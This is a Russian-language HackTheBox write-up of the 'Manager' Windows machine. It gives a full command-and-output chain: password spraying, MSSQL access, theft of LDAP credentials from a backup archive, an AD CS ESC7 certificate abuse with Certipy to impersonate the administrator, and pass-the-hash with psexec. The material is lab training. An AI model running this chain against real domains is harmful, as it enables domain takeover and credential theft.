

НТВ Manager. Проводим атаку на центр сертификатов в Active Directory

 habr.com/ru/articles/776756

November 27, 2023

Приветствую вас, дорогие читатели, на связи компания AP Security. Сегодня мы с вами пройдем Windows-машину **Manager** на **HackTheBox**.



Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.

Сканирование и разведка

Для обнаружения активных сервисов просканируем машину с помощью Nmap:

```
nmap -sC -sV -p- -T4 10.10.11.236
```

объяснить с

```

Nmap scan report for 10.10.11.236
Host is up (0.21s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_ http-title: Manager
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-23 21:18:45Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: D
efault-First-Site-Name)
|_ ssl-date: 2023-10-23T21:20:22+00:00; +4h00m21s from scanner time.
|_ ssl-cert: Subject: commonName=dc01.manager.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
|_ Not valid before: 2023-07-30T13:51:28
|_ Not valid after: 2024-07-29T13:51:28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: D
efault-First-Site-Name)
|_ ssl-date: 2023-10-23T21:20:21+00:00; +4h00m21s from scanner time.
|_ ssl-cert: Subject: commonName=dc01.manager.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
|_ Not valid before: 2023-07-30T13:51:28
|_ Not valid after: 2024-07-29T13:51:28
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
|_ Not valid before: 2023-10-23T08:55:07
|_ Not valid after: 2053-10-23T08:55:07
ms-sql-info:
|_ 10.10.11.236:1433:
|_   Version:
|_     name: Microsoft SQL Server 2019 RTM
|_     number: 15.00.2000.00
|_     Product: Microsoft SQL Server 2019
|_     Service pack level: RTM
|_     Post-SP patches applied: false
|_   TCP port: 1433
ms-sql-ntlm-info:
|_ 10.10.11.236:1433:
|_   Target_Name: MANAGER
|_   NetBIOS_Domain_Name: MANAGER
|_   NetBIOS_Computer_Name: DC01
|_   DNS_Domain_Name: manager.htb
|_   DNS_Computer_Name: dc01.manager.htb
|_   DNS_Tree_Name: manager.htb
|_   Product_Version: 10.0.17763
|_ ssl-date: 2023-10-23T21:20:22+00:00; +4h00m21s from scanner time.

```

```

3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: D
efault-First-Site-Name)
|_ ssl-cert: Subject: commonName=dc01.manager.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
|_ Not valid before: 2023-07-30T13:51:28
|_ Not valid after: 2024-07-29T13:51:28
|_ ssl-date: 2023-10-23T21:20:22+00:00; +4h00m21s from scanner time.
3269/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: D
efault-First-Site-Name)
|_ ssl-cert: Subject: commonName=dc01.manager.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
|_ Not valid before: 2023-07-30T13:51:28
|_ Not valid after: 2024-07-29T13:51:28
|_ ssl-date: 2023-10-23T21:20:21+00:00; +4h00m21s from scanner time.
5985/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
49545/tcp open  msrpc       Microsoft Windows RPC
49667/tcp open  msrpc       Microsoft Windows RPC
49681/tcp open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
49682/tcp open  msrpc       Microsoft Windows RPC
49683/tcp open  msrpc       Microsoft Windows RPC
49720/tcp open  msrpc       Microsoft Windows RPC
54685/tcp open  tcpwrapped
63812/tcp open  msrpc       Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-time:
|_   date: 2023-10-23T21:19:40
|_   start_date: N/A
|_   clock-skew: means 4h00m20s, deviation: 0s, median: 4h00m20s
|_ smb2-security-mode:
|_   311:
|_     Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 872.08 seconds

```

Попробуем определить активных пользователей с помощью **CrackMapExec**, используя опцию `--rid-brute`:

`crackmapexec smb 10.10.11.236 -u anonymous -p ' ' --rid-brute`Объяснить с

```

(kali@kali)~$ crackmapexec smb 10.10.11.236 -u anonymous -p '' --rid-brute
SMB 10.10.11.236 445 DC01 [+] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.236 445 DC01 [+] manager.htb\anonymous:
SMB 10.10.11.236 445 DC01 [+] Brute forcing RIDs
SMB 10.10.11.236 445 DC01 498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 500: MANAGER\Administrator (SidTypeUser)
SMB 10.10.11.236 445 DC01 501: MANAGER\Guest (SidTypeUser)
SMB 10.10.11.236 445 DC01 502: MANAGER\krbtgt (SidTypeUser)
SMB 10.10.11.236 445 DC01 512: MANAGER\Domain Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 513: MANAGER\Domain Users (SidTypeGroup)
SMB 10.10.11.236 445 DC01 514: MANAGER\Domain Guests (SidTypeGroup)
SMB 10.10.11.236 445 DC01 515: MANAGER\Domain Computers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 516: MANAGER\Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 517: MANAGER\Cert Publishers (SidTypeAlias)
SMB 10.10.11.236 445 DC01 518: MANAGER\Schema Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 519: MANAGER\Enterprise Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
SMB 10.10.11.236 445 DC01 521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.10.11.236 445 DC01 525: MANAGER\Protected Users (SidTypeGroup)
SMB 10.10.11.236 445 DC01 526: MANAGER\Key Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 527: MANAGER\Enterprise Key Admins (SidTypeGroup)
SMB 10.10.11.236 445 DC01 553: MANAGER\RAS and IAS Servers (SidTypeAlias)
SMB 10.10.11.236 445 DC01 571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.236 445 DC01 572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1000: MANAGER\DC01$ (SidTypeUser)
SMB 10.10.11.236 445 DC01 1101: MANAGER\DnsAdmins (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
SMB 10.10.11.236 445 DC01 1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB 10.10.11.236 445 DC01 1113: MANAGER\Zhong (SidTypeUser)
SMB 10.10.11.236 445 DC01 1114: MANAGER\Cheng (SidTypeUser)
SMB 10.10.11.236 445 DC01 1115: MANAGER\Ryan (SidTypeUser)
SMB 10.10.11.236 445 DC01 1116: MANAGER\Raven (SidTypeUser)
SMB 10.10.11.236 445 DC01 1117: MANAGER\JinWoo (SidTypeUser)
SMB 10.10.11.236 445 DC01 1118: MANAGER\ChinHae (SidTypeUser)
SMB 10.10.11.236 445 DC01 1119: MANAGER\Operator (SidTypeUser)

```

В результате получим список пользователей, который можно применить для дальнейшего развития вектора атаки. Список сохраним в отдельный файл, приведем к нижнему регистру и попробуем поспрейить пароли на различные сервисы. К счастью у нас это получится, ведь **CrackMapExec** поддерживает работу с большим количеством протоколов Microsoft.

```
crackmapexec smb 10.10.11.236 -u users.txt -p users.txt
```

```
crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt
```

Обнаружим, что у пользователя **operator** пароль совпадает с юзернеймом для службы MsSQL:

```

mssql 10.10.11.236 1433 DC01 [-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integr
ated authentication.
mssql 10.10.11.236 1433 DC01 [-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integr
ated authentication.
mssql 10.10.11.236 1433 DC01 [-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integr
ated authentication.
mssql 10.10.11.236 1433 DC01 [-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integr
ated authentication.
mssql 10.10.11.236 1433 DC01 [+] manager.htb\operator:operator

```

Точка входа

Имея учетные данные к mssql, мы можем воспользоваться модулем **mssqlclient** из утилиты **Impacket** для подключения к базе данных:

```
impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 -windows-auth
```

```

(kali@kali)~$ impacket-mssqlclient manager.htb/operator:operator@10.10.11.236 -windows-auth
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>

```

Итак, мы успешно получили удаленный доступ к базе данных! Попробуем выполнить следующую команду для просмотра корневой папки:

```
exec xp_dirtree 'C:\inetpub\wwwroot',1,1;Объяснить с
```

У процедуры xp_dirtree три параметра:

- **directory** – путь для получения списка папок и файлов
- **depth** – сколько уровней вложенных папок следует сканировать (по умолчанию 0 – все подпапки)
- **file** – кроме списка папок возвращать список файлов (по умолчанию 0 – отображать только папки)

Данная команда выводит список папок и файлов в указанном пути.

Вы можете подробнее ознакомиться с методологией тестирования на проникновения MsSQL на [HackTricks](#).

```
SQL> exec xp_dirtree 'C:\inetpub\wwwroot',1,1;subdirectory
```

	depth	file
about.html	1	1
contact.html	1	1
css	1	0
images	1	0
index.html	1	1
js	1	0
service.html	1	1
web.config	1	1
website-backup-27-07-23-old.zip	1	1

```
SQL>
```

Хм, любопытный архив с названием **website-backup**. Выкачаем его с помощью wget:

```
wget 10.10.11.236/website-backup-27-07-23-old.zipОбъяснить с
```

```
(kali@kali) ~
$ wget 10.10.11.236/website-backup-27-07-23-old.zip
--2023-10-30 15:36:13-- http://10.10.11.236/website-backup-27-07-23-old.zip
Connecting to 10.10.11.236:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: 'website-backup-27-07-23-old.zip'

website-backup-27-07-23-old.zip 100%[=====>] 1021K 971KB/s in 1.1s
2023-10-30 15:36:15 (971 KB/s) - 'website-backup-27-07-23-old.zip' saved [1045328/1045328]
```

Распакуем архив и найдем там файл **.old-conf.xml**. Просмотрим его содержимое на наличие какой-либо интересной нам информации:

```
(kali㉿kali)-[~]
$ cat .old-conf.xml
<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <server>
    <host>dc01.manager.htb</host>
    <open-port enabled="true">389</open-port>
    <secure-port enabled="false">0</secure-port>
    <search-base>dc=manager,dc=htb</search-base>
    <server-type>microsoft</server-type>
    <access-user>
      <user>raven@manager.htb</user>
      <password>R4v3nBe5tD3veloP3r!123</password>
    </access-user>
    <uid-attribute>cn</uid-attribute>
  </server>
  <search type="full">
    <dir-list>
      <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
    </dir-list>
  </search>
</ldap-conf>
```

Отлично, мы получили учетные данные пользователя **raven**. Попробуем креды для подключения к машине с помощью утилиты **Evil-WinRM**:

evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' Объяснить с

```
(kali㉿kali)-[~]
$ evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents>
```

Здесь же в директории C:\Users\Raven\Desktop будет лежать файл с флагом **user.txt**

Повышение привилегий

Посмотрим информацию о пользователе с помощью команды `whoami \all`

```
GROUP INFORMATION
```

Group Name	Type	SID	Attributes
Everyone	Well-known group	S-1-1-0	Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users	Alias	S-1-5-32-580	Mandatory group, Enabled by default, Enabled group
BUILTIN\Users	Alias	S-1-5-32-545	Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access	Alias	S-1-5-32-554	Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access	Alias	S-1-5-32-574	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK	Well-known group	S-1-5-2	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users	Well-known group	S-1-5-11	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization	Well-known group	S-1-5-15	Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication	Well-known group	S-1-5-64-10	Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level	Label	S-1-16-8448	

```
PRIVILEGES INFORMATION
```

Privilege Name	Description	State
SeMachineAccountPrivilege	Add workstations to domain	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

```
USER CLAIMS INFORMATION
```

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

```
*Evil-WinRM* PS C:\Users\Raven\Desktop>
```

Пользователь состоит в группе BUILTIN\Certificate Service . Воспользуемся утилитой **certipy-ad** для поиска уязвимостей в службе сертификатов:

```
certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
```

```
(kali㉿kali)-[~]
└─$ certipy-ad find -u raven@manager -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Saved BloodHound data to '20231101035425_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231101035425_Certipy.txt'
[*] Saved JSON output to '20231101035425_Certipy.json'
```

Посмотрим сохраненный файл на предмет обнаружения уязвимостей:

```
Request Disposition      : Issue
Enforce Encryption for Requests : Enabled
Permissions
  Owner                  : MANAGER.HTB\Administrators
  Access Rights
    Enroll               : MANAGER.HTB\Operator
                        : MANAGER.HTB\Authenticated Users
                        : MANAGER.HTB\Raven
  ManageCa               : MANAGER.HTB\Administrators
                        : MANAGER.HTB\Domain Admins
                        : MANAGER.HTB\Enterprise Admins
                        : MANAGER.HTB\Raven
  ManageCertificates     : MANAGER.HTB\Administrators
                        : MANAGER.HTB\Domain Admins
                        : MANAGER.HTB\Enterprise Admins

[!] Vulnerabilities
  ESC7                   : 'MANAGER.HTB\Raven' has dangerous
permissions
Certificate Templates
  0
    Template Name        : KerberosAuthentication
    Display Name         : Kerberos Authentication
    Certificate Authorities : manager-DC01-CA
    Enabled              : True
    Client Authentication : True
    Enrollment Agent      : False
    Any Purpose           : False
```

Служба сертификатов уязвима к атаке **ESC7**. В данной службе Active Directory, есть шаблон, который по умолчанию уязвим к **ESC1**, — **SubCA**, но выпускать его могут лишь пользователи, входящие в группу **Domain Admins**.

ESC7 возможен из-за того, что запросы, которые завершились неудачей, сохраняются и могут быть запрошены повторно. Пользователи, имеющие права **Manage CA** и **Manage Certificates** на центр сертификации, могут перевыполнять неудачные запросы на выпуск сертификата и выпускать **SubCA** на любого пользователя.

Первым делом синхронизируем наше время с контроллером домена:

```
sudo rdate -n 10.10.11.236
```

```
(kali㉿kali)-[~]
$ sudo rdate -n 10.10.11.236
Wed Nov  1 10:58:32 EDT 2023
```

Чтобы перевыполнять неудачные запросы, как я указал выше, нам нужно иметь права **Manage CA** и **Manage Certificates**. Мы можем предоставить себе это право, добавив нашего пользователя в качестве нового сотрудника:

```
certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
```

```
(kali㉿kali)-[~]
$ certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
```

Шаблон **SubCA** может быть включен на центре сертификатов с помощью параметра `-enable-template`:

```
certipy ca -ca 'manager-DC01-CA' -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -enable-template 'SubCA'
```

Далее активируем сам **SubCA**:

```
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb
```

```
(kali㉿kali)-[~]
$ certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)
```

Запросим сертификат на основе шаблона **SubCA**. Запрос будет отклонен, но мы сохраним себе закрытый ключ и запишем идентификатор запроса:

```
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb
```

```
(kali㉿kali)-[~]
$ certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -template SubCA -upn administrator@manager.htb
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 18
Would you like to save the private key? (y/N) y
[*] Saved private key to 18.key
[-] Failed to request certificate
```

С помощью команд **Manage CA** и **Manage Certificates** мы можем выпустить запрос на неудачный сертификат с помощью команды `ca` и параметра `-issue-request`:

```
certipy-ad ca -ca 'manager-DC01-CA' -issue-request 18 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
```

```
(kali㉿kali)-[~]
$ certipy-ad ca -ca 'manager-DC01-CA' -issue-request 18 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate
```

Сохранив сертификат, выпустим его на пользователя **administrator**:

```
certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -retrieve 18
```

```
(kali@kali)-[~]
$ certipy-ad req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target 10.10.11.236 -retrieve 18
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Retrieving certificate with ID 18
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '18.key'
[*] Saved certificate and private key to 'administrator.pfx'
```

Получив сертификат, пройдем аутентификацию и запросим новый хеш пароля для нашего пользователя:

```
certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
```

```
(kali@kali)-[~]
$ certipy-ad auth -pfx administrator.pfx -username 'administrator' -domain 'manager.htb' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
```

Получив хеш пароля, подключимся к машине, воспользовавшись утилитой **Psexec**:

```
impacket-psexec manager.htb/administrator@manager.htb -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef -dc-ip 10.10.11.236
```

```
(kali@kali)-[~]
$ impacket-psexec manager.htb/administrator@manager.htb -hashes aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef -dc-ip 10.10.11.236
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on manager.htb....
[*] Found writable share ADMIN$
[*] Uploading file NnZHwmyg.exe
[*] Opening SVCManager on manager.htb....
[*] Creating service zLaQ on manager.htb....
[*] Starting service zLaQ....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Машина пройдена!